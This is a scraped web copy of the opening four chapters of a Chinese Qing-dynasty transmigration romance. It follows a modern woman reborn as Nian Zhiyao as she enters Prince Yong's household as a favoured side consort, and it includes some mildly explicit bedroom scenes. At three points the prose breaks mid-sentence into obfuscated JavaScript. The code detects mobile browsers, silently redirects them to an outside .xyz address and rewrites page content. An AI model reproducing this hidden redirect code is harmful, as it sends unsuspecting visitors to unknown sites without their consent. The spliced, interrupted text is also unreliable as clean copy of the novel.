《年贵妃的躺赢生活(清穿)》 1. 第 1 章 外面一阵锣鼓喧天,是迎亲嫁娶的声音。 可真热闹啊,年芷瑶微微扬起唇角,可惜她不能亲眼看看。 身边穿着喜服的婆子贴心地说:“侧福晋,您慢些,小心脚下。” 年芷瑶微微点头,行止间连头上珠冠都没有丝毫摇晃,嬷嬷见了不由叹道,这年家女儿的规矩是真好,怪不得能得万岁赐婚给雍亲王做侧福晋呢。 只是新人进府对年家是好事,对府里的女人可就是坏事了,听说雍亲王府得宠的女人不多,只一个李侧福晋早年间算是得王爷喜欢,如今也沉寂了许多,这位万岁新赐的年侧福晋一进府,只怕王府里又是一阵动荡呢。 不过这都和她这个喜嬷嬷没什么关系,只要今天都顺顺利利的,她的差事就算是办好了,估计能得不少赏钱呢。 走到大门,年芷瑶感到身边扶着她的人变了,她不自觉地攥紧了手,感觉到手底下骨骼宽大、明显是属于男人的手,年芷瑶微微抿唇,这应该就是四爷了吧。 四爷牵着她的手进门,只觉得自己新娶的侧福晋小小软软的,和自己完全不一样。 两人双手交缠,年芷瑶只觉气氛越发紧张起来。 四爷感受到她的情绪,伸手拍了拍她的手背,“别怕。” 年芷瑶定了定神,配合着四爷行完仪式后,她被人领着送回了房间。 她安静地坐在床边,听着喜嬷嬷说着一连串的吉祥话,微微出了神。 满人对侧福晋多重视,虽比福晋成婚的规格要降一等,但其余的都差不多,尤其她是圣上赐婚,娘家又得力,内务府定会操办得极为热闹,可即便如此,她也没想过四爷能在府外亲自迎她。 想到他刚才的体贴,想来这位四爷对她,应该是有几分重视的吧,不管这份重视是为了她的哥哥还是为了她,她都要好好把握住。 喜嬷嬷看出侧福晋的心不在焉,但也不敢怠慢,身旁伺候的丫鬟也都妥帖小心,生怕惹了这位新进府的侧福晋。 这位年侧福晋得圣上赐婚,父兄得力,算得上一个好主子,做奴才的谁不想伺候个好主子,好不容易来了前途明亮的新主子,自然是人人争抢。 她们好不容易进了侧福晋的院子,自然不能让人拿了错处。 不知过了多久,年芷瑶感到周遭忽地静了下来,而后便传来行礼问安的声音,她暗暗晃神,应该是四爷回来了。 喜嬷嬷乐呵呵递上玉如意:“王爷,请。” 盖头被掀开,年芷瑶稍微适应了一下光亮,便抬头望去,只见她身边站着一个穿着喜服的男子,眉眼冷清,身上带着非同寻常的矜贵,想必就是大名鼎鼎的四爷了。 年芷瑶看着四爷俊美的长相微微舒了一口气,虽说她已经做好准备,但四爷有一副好相貌总归是一件好事。 周围见新娘子露面,也颇为好奇地看了过去,不看不要紧,一看则是满屋寂静,新娘子杏面桃腮,蛾眉轻扫,一双眸子柔情似水,好似会说话一般,望向谁就谁的心就漏掉了一拍,让人不禁赞叹,怎的会有人长得这般好看。 不知是谁倒吸了一口气,屋里才有了声响。 喜嬷嬷定了定神,率先开口道:“侧福晋真是好样貌,奴才看了这么多新娘子,像侧福晋这样如同神仙妃子般的可不多见。” 这位嬷嬷自认没有夸大其词,要不是怕得罪人,她都想说满蒙八旗无一人能比得上了,刚才连王爷都怔愣了片刻,可见对侧福晋的喜欢。 身旁的妇人也都回过神来,止不住地交口称赞。 年芷瑶微微低头做害羞状,这具身体的容貌她还是了解的,本来就生得一副好模样,这些年又有灵泉水的滋养,更是添了几分出尘的气质,连额娘见她,都忍不住感叹自己生了个好女儿。 只是家中一直有将她送到四爷府里的打算,故而没有随额娘走亲访友,名声不显罢了。 四爷也不禁缓了语气:“爷先去前院,一会过来。” 年芷瑶微微点头,不是她不想说话,而是刚嫁人的妇人实在不能多开口,免得让人觉得不懂规矩,她不禁微微叹气,穿越到什么朝代不好,怎么偏偏是清朝这种对女子束缚的时代。 只是来都来了,也只能好好地过好这日子了。 等屋子里看热闹的人都散去了,她才放松下来,看着身边的两个丫鬟,白芷和白芍,都是年府自幼陪着她的,自然是十分忠心,还有她的奶娘松嬷嬷也跟了过来,正在库房整理她的嫁妆箱子。 “主子,您可饿了。”问话的是白芷,稳重贴心,是她最信重的丫鬟。 她微微点头,然后看向站着门口的两个没见过的丫鬟,想必是雍王府上派来伺候的。 两人注意到她的疑惑,向她行礼道:“奴婢采芙,奴婢采蕖,是内务府派来伺候侧福晋的。” 采芙福身道:“王爷刚才嘱咐奴婢,若是侧福晋饿了,就去大厨房叫些膳过来。” 年芷瑶道:“这么晚了,我也吃不下什么,要些点心来就行了。” “是。”采芙和采蕖很有眼色地一起退下了,想必是想留给她和贴身丫鬟独处的时间。 年芷瑶感叹,不愧是内务府出身啊,这眼力见儿真不是一般人能比的。 屋子里没了外人,白芷也放松了许多,她凑趣道:“王爷对主子可真好。” 年芷瑶微微一笑,虽然只是小事,但有这心总比没有好,如今也算是开了个好头吧。 “先给我换身衣服吧。”这身行头好看是好看,但实在太重,避免在没进入正题前先被累弯了腰,她决定先给自己换套装备。 坐在梳妆台前,年芷瑶看着镜中自己的好气色,感受着身体里的灵泉,总算是有了些许底气。 没办法,真正的年家女儿身体太差,没长到三岁就因为风寒去世了,而她在现代时因加班过度劳累猝死在了公司,再一睁眼就成了清朝的年芷瑶。 若不是有灵泉傍身,即使是她穿越过来,这具身体想必也活不到成年吧。 她在现代时亲缘浅薄,没想到穿越过来却有了疼爱她的阿玛额娘,和两个宠爱妹妹的兄长,年芷瑶很快便接受了穿越的现实,从此成了年家千娇百宠的大小姐。 唯一不顺心的是没过几日她便发现了她阿玛是湖广巡抚年遐龄,大哥叫年希尧,二哥叫年羹尧! 不出意外的话,她就是日后因体弱而早逝的敦肃皇贵妃。 年芷瑶为此沉寂了三天,但还是振作了起来,失去一次生命的她更能体会到生命的可贵,为了日后不进后宫而要死要活的事她做不来。 既然吃了年家的饭,她也干不出来摔碗骂娘的事,事到如今,只能求得一个双赢了。 等她换完衣服,用过了点心,又在床边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041181|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐一会,四爷才从前院回来,可见前院的热闹。 他一进门,四个小丫鬟便忙了起来,宽衣洗漱,梳头擦脸,都有人伺候,年芷瑶见了不由感叹统治阶级的快乐。 等到屋子里只剩她和四爷两个人时,年芷瑶一贯的淡定也支撑不住了。 她轻轻开口:“爷。” “可用过膳了。”四爷的语气既不热情也不冷淡,仿佛刚才闪过的惊艳和他没有关系一样。 年芷瑶低头回话:“用过了,多谢爷。” 四爷微微点头,他和这位侧福晋也不熟,自然没什么话可说,要说熟,他还是和她哥哥更熟一些,年羹尧确实是个难得的能臣,不然,他也不会费尽心思娶她进门。 不过,既然娶了年氏,他自然也不会亏待她,年氏又如此的年幼,这事,到底是他得了便宜。 四爷缓了缓口气:“院子里若是有什么不合适的,就和爷说。” 年芷瑶抬眼看他,这是愿意为她撑腰的意思吗,这位四爷,好像并不是很难相处呢。 她静了静心,开口关心道:“爷在外院喝了酒,胃可难受,要不让膳房送些汤羹过来。” 四爷有些讶异她的关心,语气柔和了不少:“不必了,爷在前院喝过醒酒汤了。” 他看向年芷瑶娇美的面容,形容微顿,刚才他就发觉年氏长得十分的好,如今细瞧,更是让人心折,四爷伸手望向她:“时间不早了,先歇息吧。” 年芷瑶脸色微红地靠在了他身上,暗自祈祷这位的技术好些,也让她少受些罪。 可等到她承受不住地在求饶时,她不禁感到后悔,这人怎么不光技术好,体力也这么好,不应该啊,她明明更年轻才是。 四爷看她身上一点点染上绯红,更映得她的皮肤雪白,忍不住逗了逗她,“可是累了,可你都没用力。” 年芷瑶瞪他,这是什么话,没用力就不累了吗。 四爷忍不住地大笑起来,摸了摸她嫩红的小脸,哄了哄道:“就快了,再忍一忍。” 年芷瑶撇过脸去,这人凑这么近做什么,不会想用容貌勾引她吧。 四爷亲了亲她的耳垂,加快了进程,小姑娘还小呢,今天就先不折腾她了。 苏培盛在站门外,听着屋里四爷的笑声,挥了挥手让人往后站了站,心中盘算着日后对这位侧福晋的态度。 这位侧福晋一进府,府里的局势可又有了变化啊,不过也是,这样娇嫩的美人谁会不喜欢呢,他要是爷他也喜欢。 两人一番欢好,彼此的气氛也熟悉了一些,四爷摸了摸她柔软的发,“累了就睡吧。” 年芷瑶把头埋在他的怀里,她这辈子是年府中的大小姐,本以为等好好长大,日后阿玛额娘自会为她寻一个门当户对的青年才俊,吃喝不愁地过完一生也就罢了。 谁知命运二字由不得她,如今即进了这雍王府,那日后的富贵荣辱自然全都寄托在这个男人身上,虽说历史上的年氏就极为得宠,可她却不准备坐以待毙,等待那‘命中注定’的宠爱。 她薄唇微启:“爷。” 四爷:“嗯?” 年芷瑶抬头亲了亲他的脸颊,然后低头,“我先睡了。” 四爷看着怀里正在害羞的人笑了笑,不禁对她更是怜爱,虽然娶她是为了拉拢年家,可年家的这个女儿却意外地合他心意。 2. 第 2 章 第二天清晨,年芷瑶从睡梦中醒来,迷迷糊糊地感受到有一个陌生的东西躺在她身边,她皱了皱眉,一点点描绘着手底下的形状。 四爷抓住了她乱动的手:“醒了。” 年芷瑶猛然惊醒,是了,她昨夜已经进了雍王府,如今身边躺着的不是别人,正是四爷。 只是,她下意识地捏了捏男人手感颇好的腹肌,心中惊叹,没想到四爷的身材管理意识还挺强的。 四爷感受着身上的小手作乱,手腕不自觉地用力。 年芷瑶连忙回神,慌张地抽回手来,恶人先告状道:“爷,你怎么不穿衣服呀。” 四爷挑了挑眉,抬手摸向了她的小脸:“嗯?爷昨夜有时间穿吗。” 想到了昨夜的荒唐,年芷瑶的脸色绯红,看了看四爷的神情,为了避免接下来会发生什么不可描述的事情,她决定尽快将这茬糊弄过去,于是转移话题道:“爷,您早膳想用什么,我叫人去传。” 四爷饶有兴致地笑了笑,“不急。” 年芷瑶心里一慌,她冲着撒娇的四爷道:“爷,时辰不早了,我还要给福晋请安呢。” 虽然早上运动有益身心健康,但今日是她进府的第一天,着实不想因为迟到引来太多关注,于情于理都要去拜见福晋。 还好四爷不是那等不通人情的男人,相反,自小在宫里长大的他对于女子之间的小心思清楚得很,也没有难为她的意思。 只是上下看了她一眼,一副晚上再和她算账的模样。 年芷瑶微微撇嘴,晚上算账就晚上算账,她还怕他不成。 她起身叫了白芷进来,两人睡了一觉,感觉四爷待她明显没有昨日那般的疏离,说男人都是下半身动物,果然是不假。 就是实在是有些累,不是说男人过了二十五就不行了,四爷都三十有五了,怎么还这么行。 想到去年宫里刚刚出生的二十二阿哥,年芷瑶有些明白了,这种事情不会也是遗传吧。 “主子,今日穿这件如何。”白芷拿出了一件玉色锻花绣蝶纹旗装给她看。 年芷瑶点了点头,合规矩也不张扬,“可以。” 一旁的白芍凑趣道:“主子天生丽质,自然是穿什么都好看。” 采芙和采蕖也在一旁伺候,内务府分来的到底不如自小贴身的丫鬟亲近,等侧福晋和白芷,白芍说完话,采芙才开口问道:“主子想梳什么发髻。” 昨夜年芷瑶就问过,采芙有梳头的手艺,采蕖刺绣的手艺好,就让她们各自负责梳头和针线的活计。 如今松嬷嬷替她管着整个院子,白芷管着库房,白芍管着茶水房,大家各司其职,才方便管理,左右是不是真的忠心,用不了两三日,便能瞧得出来。 正院 虽才是寅时,但四下的丫鬟早已忙碌了起来。 福晋这些年起得越发早了,连带着她们这些伺候的都不能懒睡,当年住在宫里时,阿哥们要寅时就要起床读书,福晋跟着早起那是没办法的事,只是后来出宫了,福晋还是一贯习惯早起,不论主子爷在哪歇息都是这般。 刚过卯时,小丫鬟小跑着过来禀告:“嬷嬷。” 嬷嬷嘘了一声:“轻声点,福晋正在佛堂呢。” 自从弘辉阿哥去了之后,她们福晋就日夜都在小佛堂念经,尤其是晨起这段时间,最是虔诚不过,除了主子爷,是谁都不能打扰福晋的。 想到弘辉阿哥,赵嬷嬷不禁在心里叹息,大阿哥当时已长到八岁,却无故早夭,大阿哥没的时候,福晋都跟着丢了半条命。 她们大阿哥温柔敦厚,又是主子爷的嫡长子,若是康健,日后定是板上钉钉的王府世子,哪像现在,竟惹得旁人觊觎。 丫鬟立刻噤声,她小声道:“嬷嬷,李侧福晋已经到了。” 赵嬷嬷点了点头:“先带侧福晋去偏厅吧。” 她倒是不奇怪李侧福晋怎么来得这么早,府里新来了个侧福晋,这位眼下着急下也是应该的,更何况,还有那事在呢。 小丫鬟福身道:“是。” 李侧福晋在偏厅等了半晌,一旁的茶水凉了又热,热了又凉,终于等到外面传来了动静,她抬头望去,原来是宋氏过来了。 宋氏望着已经到了的李氏,微微抬眸,然后行礼道:“给侧福晋请安。” 李氏点了点头:“嗯。”她虽心情不好,但也不为难宋氏,宋氏是伺候爷伺候的最早的一个,早年也生了两个格格,但都早夭,之后爷没怎么去过她那,算是府里的透明人,不过为着两个格格,福晋那也没短了她的倒是。 她扯了扯嘴角,她们这位福晋可真是如菩萨一般,从不落口舌于人前,就不知会对新来的年侧福晋如何了。 等年芷瑶到的时候,屋子里已经坐满了人,见她一来,便都将视线移到了她身上,她微微一笑,这是三堂会审吗。 她上前两步给端坐在上首的福晋行了礼:“妾身给福晋请安。” 乌拉那拉氏倒是平和:“起来吧,你如今即进了府,大家就是一家子姐妹,日后好生照料王爷,早日为王爷开枝散叶才是。” 年芷瑶低头:“是,谨遵福晋教诲。”她依次见过在座的其他‘姐妹’,便坐到了右手边的上座。 说实话四爷的女人不算太多,等见过了礼,她就能大致分清谁是谁了,毕竟身为雍正爷的妻妾,大家在后世可都算是颇为有名。 坐在她对面便是李侧福晋,有一子一女,女儿册封为郡主,去年刚刚嫁于京中,阿哥就是三阿哥了。 李氏再往下是格格宋氏,格格钮祜禄氏,她这边坐着的是格格耿氏和格格武氏。 说起来武氏还比钮祜禄氏和耿氏早两年入府,可如今钮祜禄氏和耿氏各有一个阿哥,无子无宠的武氏便只能最后,可见在府里,宠爱何其重要。 李氏嘴里泛酸:“昨日就听闻妹妹美若天仙,今日一见,果然是难得的美人,我们爷真是有福气了。” 她看向福晋,“咱们府里有了妹妹这样的美人,姐姐也不用担心爷没有可心的人了。” 年芷瑶看着李氏眼中暗含的不满,倒是明白她为何第一天就这般耐不住性子,请安路上的时候,采芙告诉过她,如今她住的东院,正是李氏一直想搬过去的院子。 雍王府够大,四爷的妻妾也不多,大家自然不用和别人挤在一处,大家都是各住各的,只是院子和院子之间也有不同。 除了福晋的正院,府里还有一东一西两个大院,自古东比西贵,东院的景色也更好些,自然是人人想去,可李氏先被封侧福晋,却只住了西院,听说这几年时不时地向四爷提起想要搬院子,四爷都没同意。 若是一直没人住也就算了,只是她一来,就占了府里的东院,李氏自然不愿意。 年芷瑶看向李氏,扯起嘴角:“李姐姐客气了,听闻弘时阿哥天资聪颖,前些日子还被四爷夸赞功课,论起得爷四爷看重,谁能比得过李姐姐呢。” 雍王府里的孩子不多,阿哥只有三个,钮祜禄氏和耿氏的儿子刚刚两岁,还未开蒙,唯一正在读书的便是李氏所出的三阿哥弘时了。 其实弘时阿哥也不是四爷的第一个儿子,但却是活下来的孩子里最大的一个,也就成了长子,李氏对他寄予厚望,只是弘时阿哥不是个读书的料,四爷前些日子在前院考校弘时的功课,然后大发雷霆,怒斥这个儿子不用功,消息传遍了整个王府,这个消息是采蕖告诉她的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041182|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李氏的脸色一黑,这个年氏。 年芷瑶也不怕她,李氏暗指她以色侍人,她说李氏的儿子愚笨,也算是礼尚往来,大家都是侧福晋,难道她怕她不成。 倒是坐在上首的福晋一直默不作声,想必是看她们两个侧福晋不合,应该会更放心一些吧。 正院,福晋净了手,准备在小佛堂抄经。 “年氏可回去了。” “是。”赵嬷嬷答道,她面露犹豫。 福晋看了出来:“可还有事。” 赵嬷嬷想了想:“今日李侧福晋来得早,想来对年侧福晋的心思不少。” 福晋冷笑一声,“她自然该担心,不过日后有的是她担心的时候。”今日一见到年氏时她就知道,爷定会喜欢那年氏的,府里日后还指不定如何呢。 赵嬷嬷默不作声,福晋与李侧福晋不和也不是一年两年了,早年间,王爷对李氏多少有些宠爱,府里就她生孩子生得最多,福晋都一一看在眼里,后来弘辉阿哥没了,可李侧福晋的弘时阿哥还在,三阿哥一日日地长大,福晋心里就越发不是滋味。 府中的其他人也就罢了,唯有李侧福晋是福晋的心中的刺,时不时就隐隐作痛。 从正院回来,年芷瑶才有时间打量起自己要住上许多年的屋子。 这是三进的大院子,许是雍亲王府在扩建的时候外头人就想着这院子是未来侧福晋住的,故而修建得很是宽敞漂亮,怪不得惹人争抢呢。 院子里种了两棵杏树,如今正是初春时节,整个院子都飘落着杏花花瓣,美得如梦如幻。 四爷一进院子,就看见自己的侧福晋正站在院子中间,杏花飘落着她的发间,不由得让人心中一叹,原来花瓣也会为美人停留。 他缓步走过去:“发什么呆呢。” 年芷瑶:“我在想要不要在院子里栽种些葡萄,等到了夏日,也有葡萄吃了。” 四爷看她一脸贪吃的模样,不由失笑,“好,爷让人挑上几株上好的葡萄秧子来,替你种上。” 年芷瑶眼中亮晶晶地看着他,“你真好,爷。” 四爷如今三十许人,虽已算不上风华正茂,可岁月在他身上却没留下什么痕迹,反倒是越发贵气逼人,气质也不像后世说的那般严肃,而是有一种超脱之感。 年芷瑶转念一想,也是,如今是康熙五十二年,太子已二次被废,直郡王被圈,八爷因众人推举为太子而遭康熙怒斥。 年迈龙王逐步展露出自己的多疑又暴怒,四爷自然在这时不会直触康熙的龙威,展示对帝位有觊觎之心,气氛越是焦灼,他行事越是谨慎。 事实上,这个时间段的四爷一直以清静无为示人,在康熙帝表现诚孝,酷爱礼佛,对朝堂发生的一切都不关心,只时不时地派人去看看他赋闲在家的十三弟,以示作为兄长的关爱。 连娶她也是因为府里子嗣不丰,后院女子稀少才让圣上的下旨,明面上她进雍亲王府和四爷,和年家都毫无关系。 四爷牵过她的手走到了屋子里,“可去过福晋那了。” 年芷瑶乖巧点头:“已经去过了,福晋和善,嘱咐了我许多。” 四爷微微点头:“福晋不是个难相处的性子,若是有什么事不懂找她便是。”他想了想:“找爷也行。” 年芷瑶惯会顺杆子往上爬,“好,若是有事我就去找爷,爷可不许嫌我烦。”她丝毫不提去找福晋的事,他把她娶回来了,不管怎么行。 四爷也不戳穿她,只笑着点了点头。 小侧福晋比他小上这么多,多宠上些也无妨。 年芷瑶挽着他的手臂进了屋子,“爷,可要用午膳。 四爷点头:“传吧。” 3. 第 3 章 这是四爷第一次在她屋子里用膳,院子里虽然建了小厨房,但年芷瑶还是让白芷去大厨房叫的膳,她只格外添了几道时令的蔬菜。 白芷点了点头:“是。” 不知是不是四爷也在这用的原因,午膳摆了满满一桌子,有十六道热菜,六道凉菜,还有四道羹汤,年芷瑶抬头微微看了四爷一眼,看着旁边桌子上还有没摆上来的菜,着实有些不大习惯。 年家虽然也富庶,可她平时一般都是自己在房间里吃饭,只随便要四个热菜便好,这样的席面,她只有在年节时才会见到。 额娘之前还夸她简朴,可顿顿四个热菜诶,还有凉菜点心,对于在现代上班时只能吃预制菜的她来说已经是神仙日子了好不好。 四爷对其他菜的兴致不高,倒觉得几道清炒蔬菜不错,连下了几筷子。 苏培盛见了暗暗心惊,他伺候主子爷这么多年,竟然不知道爷喜欢吃青菜,真是他的失职。 年芷瑶也喜欢这几道菜,这个季节就应该吃绿油油的小蔬菜,大火爆炒后别提多鲜嫩了,而且这王府里的大厨,怎么说呢,更有风味一些。 她吃得开心,也没注意到一旁的四爷在看她,还是白芷暗暗戳了她一下,她才回过神了,对了,身边还有个四爷呢。 年芷瑶冲他微微一笑:“爷,可要尝尝这鱼丸汤,我在家时最爱喝这汤了。” 苏培盛看了四爷一眼,然后很有眼色地上来替他家主子爷盛了汤。 果不其然就听到四爷说了句:“不错。” 苏培盛暗暗低头,看样子日后他对这位侧福晋还应该更客气一些。 年芷瑶笑了笑,两人用过午膳,四爷也没先走,而是在她屋子里转了转。 四爷随手拿起一本游记看了看,“喜欢看这种书。” 她去给福晋请安时,白芷和白芍就按照她的喜好把屋子里布置好了,都是她用惯的东西,她在家看了一半的话本子也被摆了出来,中间的书签还是她画的呢。 年芷瑶轻轻点头,“我不喜欢看太过枯燥的书,更喜欢志怪故事。” 四爷笑了笑,真是一股孩子气,“等日爷让人给你送来些。” 年芷瑶笑道:“多谢爷。” 四爷在这一待就是一下午,消息一传出去,可谓是惊呆了后院众人,要知道四爷如今虽没有什么实务,但也不是个会在后院消磨时间的人,白日里多是在书房理事,就算是去福晋的院子里说正事也不会待太久。 西院的李氏听了消息后,不由得捏紧的手帕,“那个该死的狐媚子。” 李氏身边的琥珀劝道:“主子莫急,爷对那边不过是一时新鲜罢了,等过些日子就好了。” 可李氏并不觉得,她跟了爷这么多年,多少对四爷也是有些了解,年氏那样的女子,貌美灵动,又有那样好的家世,爷怎么会不喜欢,想到只是个通判的阿玛,还是四爷为他寻求的,李氏不免神色暗淡。 她问道:“弘时呢。” 琥珀小声道:“三阿哥在读书呢。” 李氏皱眉:“读书,也不知道读的是哪门子的书,上次爷为什么训他,不就是因为他偷偷看那些闲书吗,都说了如今他是长子,更要努力为他阿玛分忧才是。” 琥珀不敢答话,只是她觉得主子爷未必是为了三阿哥看闲书而生气,更多的是因为三阿哥耽误了功课才是。 东院 四爷和年芷瑶都在书房练字。 他看了一眼,赞了句:“字倒是不错。”都说字如其人,小姑娘笔触遒劲,意境深远,倒是不像看起来这么柔弱。 年芷瑶莞尔一笑,更显得骄傲:“爷过誉了。” 四爷看她丝毫不谦虚的样子,忍不住摇头笑了笑。 为何一直留在东院,四爷其实没想太多,只觉得自己在年氏这格外放松,也就没有走。 皇阿玛如今年迈,对他们几个兄弟越发苛责,前几年他在户部还有个差事,如今倒是光领个闲职,自己身为皇子却什么都不能干,无用于江山社稷,故而每次去朝堂站桩时他都越发不耐。 只是越在这个时候越应该冷静,四爷在心中暗自告诫自己,如今做皇阿玛的好儿子比什么都强。 晚间,年芷瑶和他靠在一起,四爷有一下没一下地摸着怀里人的发,年芷瑶被他弄得有些发痒,一把握住他骨骼分明的手掌,四爷低下头:“怎么了。” 年芷瑶眼睛发亮地看着他:“爷,时辰不早了,先歇息吧。” 四爷眼底泛起笑意,“好,那歇息吧。” 四爷自认不是柳下惠再世,不能在美人期望下坐怀不乱,他一把将年芷瑶抱起,放到了床上,吻住了她的唇。 年芷瑶舒服地闭起了眼,这样主动会不会显得不太好啊,可是她真的好喜欢这项运动啊,浅浅放纵几天应该不要紧的吧。 虽然在现代时她也交过男朋友,但感觉都不如四爷好,她抿了抿唇,有些食髓知味。 白芷在门口听见了动静,忙红着脸让人往后退了退,还是她家姑娘有办法,一进府就把四爷笼络了过去。 第二天一早,年芷瑶睁开眼,只觉得腰都不是自己的了,她这才察觉到,原来四爷在第一夜时已经是颇为体贴了,可是昨天未免也太过分了,她似乎忘了,昨夜是她先勾引的别人。 白芷听见动静,掀开床帘:“主子,您醒了。” 年芷瑶在白芷的服侍下起了身,“爷呢。” 白芷笑道:“主子爷先去了前院,临走前特意嘱咐让主子好好歇歇,不必吵醒主子呢。” 想到四爷的体贴,白芷忍不住为主子感到开心。 年芷瑶扶了扶发酸的腰,心里唯一的念头就是,还好不用天天去福晋那请安。 说起不用请安这回事,她觉得最需要感谢的就是康熙爷了,康熙爷的三位皇后早逝后,他没再立继后,宫中的娘娘都没有请安的习惯,后来太子妃进宫,自然也不会越过妃母们来摆正室的威风,也就免了太子妾室请安。 太子妃都没让妾室们日日请安,其他的妯娌福晋们自然不会有比太子妃更大的脸面了,每个府里的请安规矩都不一样,有五日一请的,有十日一请的,雍亲王府的请安日子便是每月的初一,十五。 她心中庆幸,不用天天早起真的是太好了。 年芷瑶看向红着脸的白芷,“替我梳妆吧。” 今日虽没什么事,但也不能就这么散着头发,不然让人看见了又该说三道四了。 白芷了解主子的脾气,便道:“那奴婢为主子梳个简单的发髻。” 年芷瑶微微点头。 “奴婢没叫大厨房的膳,已经让小厨房送早膳过来了。” 说是早膳,其实时辰已快到正午了,年芷瑶笑了笑,白芷细心,没从大厨房叫早膳,想必是怕外人看了多嘴吧。 她拍了拍白芷的手,“好。” 白芷露出笑意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041183|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>用过膳,福晋那边就来了人,来的是府里针线房的嬷嬷,说是福晋吩咐,如今正值春天,侧福晋春季的衣服怕是来不及,就让她们早些她量身,多做些夏季的旗装。 年芷瑶看向跟在福晋身边伺候的赵嬷嬷,笑得客气:“多谢福晋关怀。” 赵嬷嬷对她微微一福,“福晋说,侧福晋若是有什么短的缺的,尽管开口便是。” 年芷瑶笑着点头,让白芷给了针线嬷嬷赏钱,又派人送了赵嬷嬷一番。 等人走后,她看向一旁的松嬷嬷:“嬷嬷怎么看。”松嬷嬷是她的奶娘,自小就在年府里照顾着她,两人十分亲近。 松嬷嬷笑道:“姑娘不必理会,日久见人心,福晋是真热心还是假好意,时间久了,就知道了。” “您才刚进府,不必急于一时,要紧的是在府里站稳脚跟。”她关切地望着自家姑娘,她伺候姑娘长大,本以为日后姑娘会做个官宦人家的正头娘子,与夫君和和美美地度过一生,谁承想如今姑娘却成了雍王府的侧福晋。 不是说王府不好,只是与皇权沾边的哪有不提心吊胆的,不说别的,前几年的直郡王府那是多么的风光,送礼的都快把王府的门槛踏破了,可谓是门庭若市,可皇上几句话就把直郡王给圈了,如今京中谁还再敢提直郡王的名头。 虽明白府里的打算,可松嬷嬷仍旧有些担心。 年芷瑶知道嬷嬷的意思,她安抚笑道:“嬷嬷放心,我心里有数。” 前院书房 苏培盛看着四爷的脸色微微低下了头。 “福晋派过去的?” 苏培盛答话:“是呢,福晋赏了年侧福晋好几匹布料,针线房的嬷嬷都去侧福晋院子里量身了。” “看来爷的这位福晋倒是体贴得紧。”四爷扯了扯嘴角,只是眼中的笑意却淡。 苏培盛垂下头去,一言不发,他是伺候主子爷的人,后院主子们再怎么斗和他都没什么关系。 四爷道:“把库房打开,挑几匹好料子给年氏送过去,就选江南进贡的那几匹。”他看小姑娘比较喜欢亮色,她年纪小,打扮起来也好看。 苏培盛有些惊讶,那几匹料子可是前些日子宫里才赏下来的,一共也没多少,四爷收下后并没说要赏谁,就收到库房里了,如今竟然要给年侧福晋。 他将头垂得更低,“是。” 这府里是要变天了啊。 白芷步伐轻快地跑了过来:“主子。” 年芷瑶抬头:“怎么了。” 白芷道:“主子爷派人送了东西过来,您快出去看看吧。” 年芷瑶挑了挑眉,起身出了门,就看到苏培盛带着一群小太监笑意盈盈地站在那,他飞快行礼:“给侧福晋请安,主子爷让奴才给侧福晋送些东西过来。” 苏培盛掀开外头的罩子:“这都是今年新进贡的布料,咱们王府一共就得了这几匹,主子爷说您穿着定会好看,就都送了过来。” 年芷瑶微微一顿,怪不得听说好料子千金难求呢,这些布料可真好看啊,如今日头高,阳光照在衣料上,使之光彩摇动,让人移不开视线。 连见惯了好东西的松嬷嬷都忍不住吸了口气。 年芷瑶冲苏培盛笑道:“辛苦你了,劳烦给爷说,我很喜欢。” “奴才一定将话带到。”苏培盛心头微凛,他的天爷啊,他们侧福晋一笑,当真是美得如同天上的仙子一般,怪不得让爷如此割舍不下呢。 4. 第 4 章 正院 牡丹掀开帘子,轻声喊了句:“福晋。” 福晋抬头:“怎么了。” 牡丹道:“四爷今日赏了年侧福晋一些衣料,奴婢瞧着像是前些日子宫里赏的那些。” 她是福晋身边的大丫鬟,虽说是大丫鬟,但却不是最早跟着福晋进府的,听闻福晋最早的丫鬟叫芍药,很的福晋信重,已经出府嫁人了,后来,她得福晋提拔,成了大丫鬟,可到底不是跟着福晋从家里出来的,论起亲近,就差了赵嬷嬷一层。 福晋形容微顿,赵嬷嬷冲她使了个眼色。 牡丹福了福身,便下去了。 福晋望着眼前的热茶,只觉得满腔心思都哑了火,爷还是和从前一样,喜欢替人操心,或者说愿意替喜欢的人操心。 赵嬷嬷看了看福晋的神色,小心地问了句,“福晋,可还要让人看着那边。” 福晋挥了挥手,“罢了,是我太着急了。”年氏才将将进府,她此时出手也过引人注目了,更何况如今年氏有四爷捧着,不怕李氏不着急。 赵嬷嬷知道福晋的心思,安慰道:“是呢,还有钮祜禄氏呢,她生了个阿哥,奴婢不信她一点心思都没有。” 